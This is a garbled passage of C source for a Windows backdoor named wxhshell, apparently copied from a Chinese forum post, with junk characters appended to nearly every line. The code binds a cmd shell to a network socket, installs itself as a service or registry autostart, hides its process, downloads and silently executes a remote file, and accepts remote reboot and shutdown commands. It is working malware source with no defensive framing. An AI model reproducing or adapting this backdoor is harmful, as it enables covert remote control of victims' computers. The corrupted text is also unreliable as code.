  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7~!I2DV_  
  } XJ f+Eh  
  else { D+ah ok  
Hl^aUp.c  
    switch(cmd[0]) { P|unUW(P  
  "xe7Dl  
  // 帮助 4cXAT9  
  case '?': { S\! a"0$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }|Hw0zP.  
    break; 8Ehy9<  
  } G?Qe"4 .  
  // 安装 ]Wy^VcqX  
  case 'i': { [ -9)T  
    if(Install()) V9+xL 1U#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (ZE%tbm2  
    else CbTf"pl  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4 o3)*  
    break; 6T^N!3p_  
    } O_r^oH  
  // 卸载 U7nsMD  
  case 'r': { BpQ;w,sefq  
    if(Uninstall()) T!m42EvIvE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '`M#UuU  
    else -{yDk$"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fap|SMGt  
    break; 9l]UE0yTL/  
    } ppwd-^f3j  
  // 显示 wxhshell 所在路径 w$DG=!  
  case 'p': { %-@'CNP  
    char svExeFile[MAX_PATH]; rtB|N-  
    strcpy(svExeFile,"\n\r"); t Y:G54d=_  
      strcat(svExeFile,ExeFile); $Qn& jI38  
        send(wsh,svExeFile,strlen(svExeFile),0); 9O),/SH;:  
    break; g>6:CG"  
    } T$gkq>!j<E  
  // 重启 #t"9TP  
  case 'b': { vqrBRlZ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9>A-$a4R>  
    if(Boot(REBOOT)) u~#%P&3 _W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i:l80 GK  
    else { L/qZ ;{  
    closesocket(wsh); z7'n, [  
    ExitThread(0); ]sX7%3P  
    } a='IT 5  
    break; z{_mEE49  
    } 20 jrv'f  
  // 关机 2"T8^r|U  
  case 'd': { 98D{{j92  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &FL%H;Kfx  
    if(Boot(SHUTDOWN)) ::p-9F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iP~sft6  
    else { ,DE(5iDS  
    closesocket(wsh); 'b LP ~  
    ExitThread(0); Eem 2qKj  
    } I x( 6  
    break; ,$HHaoo g  
    } k TFz_*6.  
  // 获取shell B"~U<6s0  
  case 's': { re7!p(W?,  
    CmdShell(wsh); b0r,h)R  
    closesocket(wsh); zSEr4^Dk4  
    ExitThread(0); V8-4>H}Cb/  
    break; YH6snC$u  
  } 4qqF v?O[r  
  // 退出 48lzOG  
  case 'x': { 08`f7[JQo]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?+3R^%`V  
    CloseIt(wsh); G!AICcP^  
    break;  =Ov9Kf  
    } %0NLRfp  
  // 离开 B#J{F  
  case 'q': { $`E4m8fX  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); uEBQoP2  
    closesocket(wsh); Xyb8u})p'  
    WSACleanup(); K3La9O)>  
    exit(1); G"}qV%"6"  
    break; -s{R/6 :  
        } [Dnusp7e  
  } (&q@~ dJ  
  } w#W5}i&x  
[fd~nD#.  
  // 提示信息 }'u3U"9)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }%_qx|(P|t  
} HTxB=Q|  
  } O:2 #_  
Tsu\oJ[  
  return; %wOOzp`  
} y@q1c*|  
55LgBD  
// shell模块句柄 @=CLeQG`  
int CmdShell(SOCKET sock) $Xf~# uH  
{ X>2? `8M  
STARTUPINFO si; O ,l\e 3;  
ZeroMemory(&si,sizeof(si)); &u&2D$K,tp  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  }K?F7cD  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `hzd|GmX  
PROCESS_INFORMATION ProcessInfo; 2K Pqu:lv  
char cmdline[]="cmd"; 'zE: fLo  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); F/)f,sZF  
  return 0; KUbJe)}g  
} K/DH / r  
XnD0eua#  
// 自身启动模式 5Qb;2!  
int StartFromService(void) %?@x]B9Y8E  
{ 6s'[{Ov  
typedef struct VZ;@S3TS  
{ O)l%OOv   
  DWORD ExitStatus; %j%%Rn  
  DWORD PebBaseAddress; &/HoSj>HS  
  DWORD AffinityMask; ;D:=XA%  
  DWORD BasePriority; )#C_mB$-#  
  ULONG UniqueProcessId; |n)<4%i8J  
  ULONG InheritedFromUniqueProcessId; <Uf|PFVj$  
}   PROCESS_BASIC_INFORMATION; Ks|gL#)*Ku  
-P2 @mx%  
PROCNTQSIP NtQueryInformationProcess; R;%^j=Q  
NOV.Bs{ yL  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8:~b &>   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {K+.A 9!  
se!g4XEWD  
  HANDLE             hProcess; YRXK@'[=  
  PROCESS_BASIC_INFORMATION pbi; L+Eu d  
;jF%bE3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); r;9z 5'  
  if(NULL == hInst ) return 0; Kf|0*c  
P7'M],!9w  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); '\@WN]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); hUBF/4s\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _'&k#Q  
2,+d|1(4o  
  if (!NtQueryInformationProcess) return 0; y!F:m=x<  
|l$ u<3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); f]c <9Q>*  
  if(!hProcess) return 0; 9g96 d-  
ci;&CHa  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; jBS'g{y-!  
Ny]lvgu9X  
  CloseHandle(hProcess); nVNs][  
::ri3Tu  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); O6/xPeak  
if(hProcess==NULL) return 0; Q@3B{  
_g65pxt =Z  
HMODULE hMod; &u("|O)w$  
char procName[255]; sLNNcj(Cy>  
unsigned long cbNeeded; H)\4=^  
whw{dfE  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); PaNeu1cO  
?x'w~;9R/  
  CloseHandle(hProcess); ~C0 Pu.{o  
RFB(d=o5S  
if(strstr(procName,"services")) return 1; // 以服务启动  Ll?g.z"  
vABXXB  
  return 0; // 注册表启动 >C:If0S4X  
} ]uAS+shQ&  
2!BsEvB(  
// 主模块 gXF.on4B  
int StartWxhshell(LPSTR lpCmdLine) / xs9.w8-  
{ 7pz\ScSe  
  SOCKET wsl; G#|Hu;C6"  
BOOL val=TRUE; K0LbZMn,/  
  int port=0; :4U0I:J#  
  struct sockaddr_in door; 4'` C1a  
X'jr|s^s  
  if(wscfg.ws_autoins) Install(); _%;M9Sg3  
3hLqAj  
port=atoi(lpCmdLine); 72u db^  
v:?o3 S  
if(port<=0) port=wscfg.ws_port; 9Eu #lV  
sLZ>v  
  WSADATA data; 6A.P6DW  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {79qtq%W{  
Rh[Ibm56  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   vn``0!FX  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (m/aV  
  door.sin_family = AF_INET; =D}4X1l  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~x\Cmu9`  
  door.sin_port = htons(port); Z~_8P  
g9`[Y~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Vli3>K&  
closesocket(wsl); -( (Z@T1k  
return 1; I ld7}R  
} g1ytT%]  
dGU8+)2cn  
  if(listen(wsl,2) == INVALID_SOCKET) { CB6o$U  
closesocket(wsl); TqAtcAurM  
return 1; *Er? C;  
} ]H>+m 9  
  Wxhshell(wsl); h mds(lv7  
  WSACleanup(); yZ5 x8 8>  
}f]b't  
return 0; M}u1qXa  
\@8*TS  
} ?d~]Wd!z  
_Ds@lVY  
// 以NT服务方式启动 >IBTBh_ka  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) d- h"JZ9  
{ UP]1(S?  
DWORD   status = 0; "1K:/n  
  DWORD   specificError = 0xfffffff; X% X$Y6  
Hv8H.^D>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; LJj=]_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; x^X$M$o,l  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; mbGcDG[HQ  
  serviceStatus.dwWin32ExitCode     = 0; g#|oi f9o  
  serviceStatus.dwServiceSpecificExitCode = 0; obj!I7  
  serviceStatus.dwCheckPoint       = 0; dHq#  
  serviceStatus.dwWaitHint       = 0; Ox|TMSb^  
_0.pvQ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >(OYK}ZN  
  if (hServiceStatusHandle==0) return; =q5@,wN^  
G0pBR]_5z$  
status = GetLastError(); x~z_,':  
  if (status!=NO_ERROR) x2@,9OUx  
{ $ o " L;j  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; SHwRX? B|  
    serviceStatus.dwCheckPoint       = 0; yjFe'  
    serviceStatus.dwWaitHint       = 0; WcU@~05b  
    serviceStatus.dwWin32ExitCode     = status; QkL@JF]Re  
    serviceStatus.dwServiceSpecificExitCode = specificError; F3Dt7q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ol<lCp  
    return; ~$Y|ca  
  } Mc:b U  
3p&jLFphL  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7 v~ro  
  serviceStatus.dwCheckPoint       = 0; ^aHh{BQ%  
  serviceStatus.dwWaitHint       = 0; M%|f+u&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); p/3BD&6  
} V~[:*WOX  
L1{T ?aII  
// 处理NT服务事件,比如:启动、停止 aHC%19UN  
VOID WINAPI NTServiceHandler(DWORD fdwControl) C.( yd$,  
{ f1J %]g!  
switch(fdwControl) r6MB"4xd  
{ V_f`0\[x  
case SERVICE_CONTROL_STOP: R1/q3x  
  serviceStatus.dwWin32ExitCode = 0; GG+5/hU  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; m!:.>y  
  serviceStatus.dwCheckPoint   = 0; -bm,:Iy!  
  serviceStatus.dwWaitHint     = 0; AEqq1A   
  { y?Onb 3%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4'm q_o#4W  
  } vd(dNu&,<  
  return; as#J qE  
case SERVICE_CONTROL_PAUSE: {+Sq<J_`M  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; t!0dJud  
  break; hlC%HA  
case SERVICE_CONTROL_CONTINUE: ]-a{IWVN  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; R6<4"?*r  
  break; Cg3ODfe  
case SERVICE_CONTROL_INTERROGATE: H-2_j  
  break; 9n 6fXOC  
}; > H~6NBd5D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q]XHa,"  
} fhr-Y'  
A9;0y jae  
// 标准应用程序主函数 -dG,*0 >  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $rB6<  
{ Y"*:&E2)r  
iadkH]w  
// 获取操作系统版本 Z2bUs!0  
OsIsNt=GetOsVer(); R8 jovr  
GetModuleFileName(NULL,ExeFile,MAX_PATH); |xeE3,8  
#w*"qn#2Uz  
  // 从命令行安装 :,^>d3k  
  if(strpbrk(lpCmdLine,"iI")) Install(); GS4_jvD-  
C_Gzv'C"L  
  // 下载执行文件 e9:P9Di(b  
if(wscfg.ws_downexe) { !F$R+A+L  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :Eo8v$W\RB  
  WinExec(wscfg.ws_filenam,SW_HIDE); />F.Nsujy  
} 4TVwa(cB  
;wgFr.#hp@  
if(!OsIsNt) { 7wi%j!  
// 如果时win9x,隐藏进程并且设置为注册表启动 Onw24&  
HideProc(); c{VJ2NQ+  
StartWxhshell(lpCmdLine); N5!&~~  
} [q3+$W \r  
else >)3VbO  
  if(StartFromService()) eO[c lB  
  // 以服务方式启动 o|rzN\WJn  
  StartServiceCtrlDispatcher(DispatchTable); !M^\f N1  
else !DcX8~~@  
  // 普通方式启动 %E.S[cf%8&  
  StartWxhshell(lpCmdLine); gt@SuX!@{^  
Q1T@oxV  
return 0; HTR1)b  
}
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只看该作者 1 发表于: 2006-10-10
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